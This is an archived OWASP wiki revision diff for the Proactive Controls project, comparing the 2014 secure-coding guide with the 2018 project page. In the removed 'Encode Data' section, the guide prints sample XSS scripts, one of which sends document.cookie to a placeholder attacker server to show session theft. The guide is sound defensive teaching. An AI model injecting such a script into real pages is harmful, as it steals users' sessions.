This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "OWASP Proactive Controls"

From OWASP
Jump to: navigation, search
m
m (→‎Translations)
 
(362 intermediate revisions by 12 users not shown)
Line 3: Line 3:
  
 
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
 
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
−
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
+
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
  
−
== OWASP Proactive Controls ==
+
== OWASP Top 10 Proactive Controls 2018 ==
  
−
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs. When it comes to web security, developers are often set up to lose the security game.
+
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be security flaws inherent in the requirements and designs. When it comes to software, developers are often set up to lose the security game.
  
−
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.
+
The OWASP Top Ten Proactive Controls 2018 is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important. This document was written by developers for developers to assist those new to secure development.
  
−
* 1: Parameterize Queries
+
# Define Security Requirements
−
* 2: Encode Data
+
# Leverage Security Frameworks and Libraries
−
* 3: Validate All Inputs
+
# Secure Database Access
−
* 4: Implement Appropriate Access Controls
+
# Encode and Escape Data
−
* 5: Establish Identity and Authentication Controls
+
# Validate All Inputs
−
* 6: Protect Data and Privacy
+
# Implement Digital Identity
−
* 7: Implement Logging, Error Handling and Intrusion Detection
+
# Enforce Access Controls
−
* 8: Leverage Security Features of Frameworks and Security Libraries
+
# Protect Data Everywhere
−
* 9: Include Security-Specific Requirements
+
# Implement Security Logging and Monitoring
−
* 10: Design and Architect Security In
+
#  Handle All Errors and Exceptions
  
−
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].
+
 
 +
For more information, see the complete document in the tab to the right.
  
 
==Licensing==
 
==Licensing==
  
 +
<span id="8:_Implement_Logging_and_Intrusion_Detection"></span>
 
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].
 
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].
  
−
| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |
+
| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |
  
 
== What is This? ==
 
== What is This? ==
  
−
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.
+
The OWASP Top Ten Proactive Controls describes the most important control and control categories that every architect and developer should absolutely, 100% include in every project.
 +
 
 +
== Presentation ==
 +
 
 +
Use the extensive [[media:OWASP_Top_Ten_Proactive_Controls_v3.pptx|project presentation]] that expands on the information in the document.
  
 
== Project Leaders ==
 
== Project Leaders ==
Line 38: Line 44:
 
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:[email protected] @]
 
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:[email protected] @]
 
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:[email protected] @]
 
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:[email protected] @]
 +
* [https://www.owasp.org/index.php/User:Katyanton Katy Anton] [mailto:[email protected] @]
  
 
== Key Contributors ==
 
== Key Contributors ==
−
 
+
* [[User:Taras Ivashchenko|Taras Ivashchenko]] [mailto:[email protected] @] (Russian Translation)
 +
* Jay Zudilin (Russian Translation)
 +
* Danny Harris [mailto:[email protected] @]
 +
* Hiroaki Kuramochi (Japanese Translation)
 +
* Hiroshi Fujimoto (Japanese Translation)
 +
* Hidenori Nagai (Japanese Translation)
 +
* [https://www.owasp.org/index.php/User:Riotaro_OKADA Riotaro OKADA] [mailto:[email protected] @] (Japanese Translation)
 +
* Robert Dracea (Japanese Translation)
 +
* Koichiro Watanabe (Japanese Translation)
 +
* Tony Hsu Hsiang Chih (Chinese Translation)
 +
* Abdessamad Temmar
 +
* [https://www.linkedin.com/in/eyalestrin Eyal Estrin] [mailto:[email protected] @] (Hebrew Translation)
 +
* [https://www.owasp.org/index.php/User:Cyrille_Grandval Cyrille Grandval] [mailto:[email protected] @] (French Translation)
 +
* Frédéric Baillon [mailto:[email protected] @] (French Translation)
 
* Danny Harris [mailto:[email protected] @]
 
* Danny Harris [mailto:[email protected] @]
 
* Stephen de Vries
 
* Stephen de Vries
Line 46: Line 66:
 
* Gaz Heyes
 
* Gaz Heyes
 
* Colin Watson
 
* Colin Watson
 +
* Jason Coleman
 +
* Cassio Goldschmidt
  
 
== Related Projects ==
 
== Related Projects ==
Line 53: Line 75:
 
* [[Cheat Sheets]]
 
* [[Cheat Sheets]]
  
−
| valign="top" style="padding-left:25px;width:200px;" |
+
| valign="top" style="padding-left:25px;width:200px;" |
  
 
== Quick Access ==
 
== Quick Access ==
  
−
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].
+
* Top 10 Proactive Controls 2018 PDF:  [[Media:OWASP_Top_10_Proactive_Controls_V3.pdf|EN]] | [[Media:OWASP_TOP_10_Proactive_Controls_2018_V3_PL.pdf|PL]]  | [[Media:Owasp-top-10-proactive-controls-2018-russian.pdf|Ru]]
  
−
== News and Events ==
+
* Top 10 Proactive Controls 2018 [[Media:OWASP_Top_Ten_Proactive_Controls_v3.pptx|PPT Download]]
−
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]
+
* Top 10 Proactive Controls 2018 [[Media:OWASP_Top_10_Proactive_Controls_V3.docx|DOCX Download]]
−
* [04 Feb 2014] New Wiki Template!
+
* Mapping to other OWASP and IEEE Top 10 Lists [[Media:Owasp-pc-ieee-ott-omtt-ssdf.pdf|PDF Download]]
 +
 
 +
== Translations ==
 +
 
 +
* Top 10 Proactive Controls 2018 Chinese [[Media:OWASP_Top_10_Proactive_Controls_V3_Chinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2018 Russian [[Media:Owasp-top-10-proactive-controls-2018-russian.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2018 Polish [[Media:OWASP_TOP_10_Proactive_Controls_2018_V3_PL.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Traditional Chinese Translation [[Media:OWASPTop10ProactiveControls2016-Chinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Simplified Chinese Translation [[Media:OWASPTop10ProactiveControls2016-SimplifiedChinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Japanese Translation [[Media:OWASPTop10ProactiveControls2016-Japanese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Hebrew Translation [[Media:OWASP_Proactive_Controls_2-Hebrew.pdf|PDF Download]]
 +
 
 +
== Latest News and Events ==
 +
* [Aug 2018] 3.0 Polish Translation Released!
 +
* [May 2018] 3.0 Released!
 +
* [June 2016] Featured in [http://www.booz-allen.co.in/content/dam/boozallen/documents/Viewpoints/2016/06/transformative-approach-to-secure-systems-delivery.pdf A Transformative Approach to Secure Systems Delivery]
 +
* [June 2016] Featured in [http://www.oreilly.com/webops-perf/free/devopssec.csp DevOpsSec]
 +
 
 +
Please see the  [{{SERVER}}/index.php/OWASP_Proactive_Controls?refresh=123#tab=News News] tab for more.
 +
 
 +
== Archive ==
 +
* [{{SERVER}}/index.php/OWASP_Proactive_Controls_2014 Proactive Controls 2014]
 +
* [{{SERVER}}/index.php/OWASP_Proactive_Controls_2016 Proactive Controls 2016]
  
 
== Mailing List ==
 
== Mailing List ==
  
−
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].
+
Keep up-to-date, participate or ask questions via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].
  
 
==Classifications==
 
==Classifications==
Line 71: Line 115:
 
   {| width="200" cellpadding="2"
 
   {| width="200" cellpadding="2"
 
   |-
 
   |-
−
   | align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
+
   | rowspan="2" align="center" valign="top" width="50%" | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
−
   | align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=]]   
+
   | align="center" valign="top" width="50%" | [[File:Owasp-builders-small.png|link=]]   
 
   |-
 
   |-
−
   | align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=]]
+
   | align="center" valign="top" width="50%" | [[File:Owasp-defenders-small.png|link=]]
 
   |-
 
   |-
−
   | colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
+
   | colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
 
   |-
 
   |-
−
   | colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
+
   | colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
 
   |}
 
   |}
  
 
|}
 
|}
  
−
= OWASP Top Ten Proactive Controls =
+
= OWASP Proactive Controls 2018 =
  
−
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game.  
+
OWASP Proactive Controls 2018 is currently available in the following formats.
 +
* Top 10 Proactive Controls 2018 [{{SERVER}}/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf PDF version]
 +
* Top 10 Proactive Controls 2018 [{{SERVER}}/images/1/13/OWASP_Top_Ten_Proactive_Controls_v3.pptx PPT download].
 +
* Top 10 Proactive Controls 2018 [{{SERVER}}/images/7/79/OWASP_Top_10_Proactive_Controls_V3.docx DOCX download].
  
−
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.
+
Wiki version- is currently work in progress .
  
−
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.
+
= News =
−
+
* [ July 2019] Featured in Coursera course from UCDavies [https://www.coursera.org/directory/videos?courseId=V1k0pBtIEemZRAqH7m9oGA Identifying Security Vulnerabilities]
−
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.
+
* [23 June 2019] Featured on HackerCombat: [https://hackercombat.com/implement-owasp-proactive-controls-to-work/ Implement OWASP Proactive Controls to Work]
 +
* [7 June 2019] Feature on OWASP DevSlop Show [https://www.youtube.com/watch?v=Jdb3qweDc_Q  Proactive Controls]
 +
* [15 May 2019] Featured in TechBeacon: [https://techbeacon.com/security/put-owasp-top-10-proactive-controls-work Put OWASP Top 10 Proactive Controls to work]
 +
* [2 Mar 2019] Webinar: [https://www.youtube.com/watch?v=ldXe8f5yVq8 The OWASP Top Ten Proactive Controls with Jim Manico]
 +
* [Dec 2018] Featured as the resource for Security “Shifting to the Left”!  in the  ISC2 course:  "DevSecOps: Integrating Security into DevOps”
 +
* [20 Sep 2018 Featured in TechBeacon: [https://techbeacon.com/owasp-top-10-proactive-controls-2018-how-it-makes-your-code-more-secure OWASP Top 10 Proactive Controls 2018: How it makes your code more secure]
 +
* [17 Sep 2018] Binary Blogger Podcast Episodes: [https://binaryblogger.com/2018/09/17/owasp-top-10-proactive-controls-podcast-episodes/ OWASP Top 10 Proactive Controls Podcast Episodes]
 +
* [9 May 2018]  Featured in [https://techbeacon.com/developer-secure-code-starter-kit-resources Developer's security guide: 50 online resources to shift left]
 +
* [7 May 2018] 3.0 released!
 +
* [11 Aug 2017] Presented at [https://northeastphp2017.sched.com/event/B6uo/owasp-top-10-proactive-controls-2016 Northeast PHP Conference]
 +
* [25 July 2017] Podcast about at [https://www.appsecpodcast.org/2017/07/25/the-owasp-top-10-proactive-controls/ OWASP Top 10 Proactive Controls]
 +
* [12 May 2017] Presented at [https://appseceurope2017.sched.com/event/A652/the-path-of-secure-software AppSec EU'17 - Belfast]
 +
* [14 Feb 2017] Featured in [http://wwpi.com/2017/02/14/managing-cloud-infrastructure-to-prevent-security-gaps/ Managing Cloud Infrastructure to Prevent Security Gaps]
 +
* [Feb 2017 ] Featured in "[http://assets.unisys.com/Documents/Global/POVPapers/POV_170062_ApplicationSecurityProgramProtectAgainstDataBreaches.pdf Application Security Program: Protect Against Data Breaches]"
 +
* [ 1 Oct 2016] Presented at [http://conference.phpnw.org.uk/phpnw16/speakers/katy-anton/ PHPNW16]
 +
* [5 July 2016] Featured in [https://www.thoughtworks.com/insights/blog/incorporating-security-best-practices-agile-teams Incorporating Security Best Practices into Agile Teams]
 +
* [June 2016 ] Featured in [http://www.booz-allen.co.in/content/dam/boozallen/documents/Viewpoints/2016/06/transformative-approach-to-secure-systems-delivery.pdf A Transformative Approach to Secure Systems Delivery]
 +
* [2 June 2016] Featured in [http://www.oreilly.com/webops-perf/free/devopssec.csp DevOpsSec - Securing Software through Continuous Delivery]
 +
* [30 Apr 2016] Added Hebrew Translation for 2016 version
 +
* [28 Apr 2016] Added Chinese Translations for 2016 version
 +
* [12 Apr 2016] Added Hebrew translation for 2016 version
 +
* [29 Feb 2016] Added [https://www.owasp.org/images/a/a8/OWASPTop10ProactiveControls2016-Japanese.pdf Japanese Translation]
 +
* [14 Jan 2016] 2.0 released!
 +
* [5 Dec 2015] Began final edit process for 2.0
 +
* [29 Mar 2015] Added Hebrew Translation
 +
* [27 Jan 2015] Added Top Ten Mapping
 +
* [31 Oct 2014] Project presentation uploaded
 +
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]
 +
* [04 Feb 2014] New Wiki Template!
  
−
Introducing the OWASP Top Ten Proactive Controls 2014.
+
= Users =
  
 +
* Michael Leung - Management consultant with Canadian Cybersecurity Inc.
 +
: ''"Giving developers guidance that was practical was challenging. The OWASP Top 10 Proactive Controls helped a lot."''
  
−
== 1: Parameterize Queries ==
 
  
−
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.
+
'''Disclaimer'''
  
−
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.  
+
Organizations listed are not accredited by OWASP. Neither their products or services have been endorsed by OWASP.  
  
−
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.
+
'''How to get listed'''
  
−
Here is an example of Query Parameterization in Java:
+
Please let us know how your organization is using OWASP Top 10 Proactive Controls. Include your name, organization's name, and brief description of how you use the project. The project lead can be reached  [mailto:[email protected] here].
  
−
String newName = request.getParameter("newName");
+
= Formal Numbering =
−
String id = request.getParameter("id");
 
−
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); 
 
−
pstmt.setString(1, newName);
 
−
pstmt.setString(2, id);
 
  
−
Here is an example of query parameterization in PHP:
+
== 2018 Numbering ==
 +
* OWASP-2018-C1: Define Security Requirements
 +
* OWASP-2018-C2: Leverage Security Frameworks and Libraries
 +
* OWASP-2018-C3: Secure Database Access
 +
* OWASP-2018-C4: Encode and Escape Data
 +
* OWASP-2018-C5: Validate All Inputs
 +
* OWASP-2018-C6: Implement Digital Identity
 +
* OWASP-2018-C7: Enforce Access Controls
 +
* OWASP-2018-C8: Protect Data Everywhere
 +
* OWASP-2018-C9: Implement Security Logging and Monitoring
 +
* OWASP-2018-C10: Handle All Errors and Exceptions
  
−
$email  = $_REQUEST[‘email’];
+
== 2016 Numbering ==
−
$ id’= $_REQUEST[‘id’];
+
* OWASP-2016-C1: Verify for Security Early and Often
−
$stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”);
+
* OWASP-2016-C2: Parameterize Queries
−
$stmt->bindParam(':new_email', $email);
+
* OWASP-2016-C3: Encode Data
−
$stmt->bindParam(':user_id', $id);
+
* OWASP-2016-C4: Validate All Inputs
 +
* OWASP-2016-C5: Implement Identity and Authentication Controls
 +
* OWASP-2016-C6: Implement Appropriate Access Controls
 +
* OWASP-2016-C7: Protect Data
 +
* OWASP-2016-C8: Implement Logging and Intrusion Detection
 +
* OWASP-2016-C9: Leverage Security Frameworks and Libraries
 +
* OWASP-2016-C10: Error and Exception Handling
  
−
'''Key References'''
+
== 2014 Numbering ==
−
* [[Query Parameterization Cheat Sheet]]
+
* OWASP-2014-C1: Parameterize Queries
−
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]
+
* OWASP-2014-C2: Encode Data
 +
* OWASP-2014-C3: Validate All Inputs
 +
* OWASP-2014-C4: Implement Appropriate Access Controls
 +
* OWASP-2014-C5: Establish Identity and Authentication Controls
 +
* OWASP-2014-C6: Protect Data and Privacy
 +
* OWASP-2014-C7: Implement Logging, Error Handling and Intrusion Detection
 +
* OWASP-2014-C8: Leverage Security Features of Frameworks and Security Libraries
 +
* OWASP-2014-C9: Include Security-Specific Requirements
 +
* OWASP-2014-C10: Design and Architect Security In
  
 +
= Translations =
  
−
== 2: Encode Data ==
 
  
−
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting.  
+
== 2018 Version ==
 +
* Top 10 Proactive Controls 2018 Russian Translation: [[Media:Owasp-top-10-proactive-controls-2018-russian.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2018 Polish Translation:  [[Media:OWASP_TOP_10_Proactive_Controls_2018_V3_PL.pdf|PDF Download]] 
  
−
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects.  
+
== 2016 Version ==
 +
* Top 10 Proactive Controls 2016 Traditional Chinese Translation [[Media:OWASPTop10ProactiveControls2016-Chinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Simplified Chinese Translation [[Media:OWASPTop10ProactiveControls2016-SimplifiedChinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Japanese Translation [[Media:OWASPTop10ProactiveControls2016-Japanese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Hebrew Translation [[Media:OWASP_Proactive_Controls_2-Hebrew.pdf|PDF Download]]
  
−
For example:
+
== 2014 Version ==
 +
* Hebrew and French translations of the Top 10 Proactive Controls 2014 can be found on the 2014 archive tab.
  
−
XSS site defacement:
+
= Roadmap =
  
−
<script>document.body.innerHTML(“Jim was here”);</script>
+
Welcome to the OWASP Top 10 Proactive Controls Project!
  
−
XSS session theft:
+
== 2018 Roadmap ==
  
−
<script>
+
* Create new PowerPoint and other artifacts for 2018 version (done)
−
var img = new Image();
+
* Create wiki for 2018 version (work in progress)
−
  img.src=&quot;hxxp://<some evil server>.com?” + document.cookie;
 
−
</script>
 
  
−
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.
+
== 2016 Roadmap ==
  
−
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.
+
* Create new PowerPoint and other artifacts for 2016 version (done)
 +
* Proactive Control Mapping to Cheatsheet (done)
  
−
'''Key References'''
+
== Status ==
−
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]
 
−
* General information about injection: [[Top 10 2013-A1-Injection]]
 
−
 
 
−
'''Key Tools'''
 
−
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]
 
−
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]
 
−
 
 
−
 
 
−
== 3: Validate All Inputs ==
 
−
 
 
−
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.
 
−
 
 
−
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.
 
−
 
−
There are two types of input validation: “white list" validation and "black list" validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.
 
−
 
 
−
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.
 
−
 
 
−
Let’s start with the following regular expression for the username.
 
−
 
 
−
^[a-z0-9_]{3,16}$
 
−
 
 
−
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.
 
−
 
 
−
Here is an example regular expression for the password field.
 
−
 
 
−
^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$
 
  
−
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).
+
* February 21, 2014 Moved 2014 info to archive tab
 +
* January 15, 2016: 2016 Proactive Controls Released!
 +
* August 6, 2015: Kickoff for 2.0 effort, in progress
 +
* March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.<br />
 +
* February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.
  
−
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).
 
−
 
−
^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
 
−
 
−
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.
 
−
 
−
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.
 
−
 
−
'''Key References'''
 
−
* [[Input Validation Cheat Sheet]]
 
−
 
−
'''Key Tools'''
 
−
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]
 
−
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]
 
−
 
−
 
−
== 4: Implement Appropriate Access Controls ==
 
−
 
−
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following "positive" access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front.
 
−
 
−
=== Force all requests to go through access control checks ===
 
−
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.
 
−
 
−
=== Deny by default ===
 
−
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check.
 
−
 
−
=== Avoid hard-coded policy-based access control checks in code ===
 
−
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control "engine") should be separated when possible.
 
−
 
−
=== Code to the activity ===
 
−
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.
 
−
 
−
=== Server-side trusted data should drive access control ===
 
−
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved "server-side" in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.
 
−
 
−
'''Key References'''
 
−
* [[Access Control Cheat Sheet]]
 
−
 
−
'''Key Tool'''
 
−
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]
 
−
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]
 
−
 
−
 
−
== 5: Establish Identity and Authentication Controls ==
 
−
 
−
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.
 
−
 
−
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.
 
−
 
−
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.
 
−
 
−
'''Key References'''
 
−
* [[Authentication Cheat Sheet]]
 
−
* [[Password Storage Cheat Sheet]]
 
−
* [[Forgot Password Cheat Sheet]]
 
−
* [[Session Management Cheat Sheet]]
 
−
 
−
 
−
== 6: Protect Data and Privacy ==
 
−
 
−
=== Use Encryption in Transit ===
 
−
 
−
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit.
 
−
 
−
'''Key References'''
 
−
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]
 
−
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]
 
−
 
−
=== Use Encryption at Rest ===
 
−
 
−
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software.
 
−
 
−
'''Key References'''
 
−
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]]
 
−
* [[Password Storage Cheat Sheet]]
 
−
 
−
'''Key Tool'''
 
−
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]
 
−
 
−
=== Implement Protection in Process ===
 
−
 
−
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.
 
−
 
−
 
−
== 7: Implement Logging and Intrusion Detection ==
 
−
 
−
